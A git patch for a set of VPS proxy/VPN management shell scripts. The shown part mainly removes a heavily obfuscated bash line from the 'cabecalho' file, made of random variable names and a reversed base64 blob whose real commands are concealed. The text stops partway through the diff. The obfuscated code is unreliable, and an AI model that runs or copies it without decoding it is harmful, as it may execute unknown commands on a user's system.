From c07bea6ab264b19856435fc4989832088c0c87d4 Mon Sep 17 00:00:00 2001
From: "@drowkid01"
Date: Mon, 26 May 2025 15:51:35 -0600
Subject: [PATCH] main
---
Lista/0 | 0
Lista/cabecalho | 603 ++++++-
Lista/ferramentas | 619 ++++++-
Lista/menu | 892 +++++++++-
Lista/menu-i.sh | 162 ++
Lista/menu_credito | 1 -
Lista/menu_inst | 3144 ++++++++++++++++++++++++++++++++-
Lista/msg | 225 +++
Lista/payloads | 0
Lista/protos.sh | 3935 ++++++++++++++++++++++++++++++++++++++++++
Lista/shadowsocks.sh | 1249 +++++++++++++-
Lista/ultrahost | 81 +-
Lista/usercodes | 2039 +++++++++++++++++++++-
Lista/v-local.log | 1 -
Lista/x | 127 ++
15 files changed, 13068 insertions(+), 10 deletions(-)
create mode 100644 Lista/0
create mode 100755 Lista/menu-i.sh
delete mode 100644 Lista/menu_credito
create mode 100644 Lista/msg
mode change 100644 => 100755 Lista/payloads
create mode 100755 Lista/protos.sh
delete mode 100644 Lista/v-local.log
create mode 100755 Lista/x
diff --git a/Lista/0 b/Lista/0
new file mode 100644
index 0000000..e69de29
diff --git a/Lista/cabecalho b/Lista/cabecalho
index f746cdc..d683f46 100755
--- a/Lista/cabecalho
+++ b/Lista/cabecalho
@@ -1,2 +1,603 @@
#!/bin/bash
-oJNgNRIdnhZEoZQcHPiSSldetuKfHRWJuWtGZWkRpiUCyEUBIYJLxwnTYNjpCXdTXxoxaTYRZLHuhQmJOKxsucyExhoDcNlzFPwx="KaxLUyEFSxIMxzQISeRNZjAMCDoyCWVuXiTQAsNByqQhPPaEpxhuPasswPKybALiIfcrtGWvmptCYosulJxaTNGJaidJXKqqFoOz";jYwGUIHpJKsWGtvLPrNlYGAWslwdxXLfbqIyQCFPgKATvmwJNAfYXvSVDtxnUqimQfFpbOQapIGUvLlasyblNuoRKCsqYWNEukYl="FTfsNrTLXOriLyNZkJBteapGTNwsyowvwdGePLCcvWGaUzppyGlyWPLEGNzxTAjYocaqZOfvPTbCuGBCEnmKLqaaADJQmCPLIGII";sAgrpjVFCmqlsIxIaJRzWwRKssmWHGOoslIkhUXhpQbWvMeLVNEqTcaDbLmKuxGbVKrrzNYroLPOAIhfdeZTjHmQoHBvzDnQDbOJ="ch";xStDqIwOalOuMZRQUTPniSpgEaEXOavFsNmYuVQAgQYhKUgjLhlkSMaIlUMmBszqpspohXyhEedTHDfZFrlieIbdcqSFkKhwUrws="4";sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI="";xKZhCpbyRkXuifEihEsiSUQGDvrSnOtgLTGoBXocKumEzHdZlEbJxjGCRyFhJAOyLDmFQawKMuRAKEOfECbSUmiShDhVSokWDgBZ="hOAiPXAGhscDroXjakCAhJcivqpgBdtGBRAYFiqKKGHWzVDCMNgtgSItkWefPkWcPknbOzGhmDHHIlTtLJrYrDdidjyLOEFYKbyA";jOzAMykRjgRMtsDJxulDBLOMXksBQvUbrLGIHRjCfyqmCvpoxceCPSogSoLYoQcleEFQHuUoRObFyzkuECtdCcPLWkZCreGPkaxo=" ==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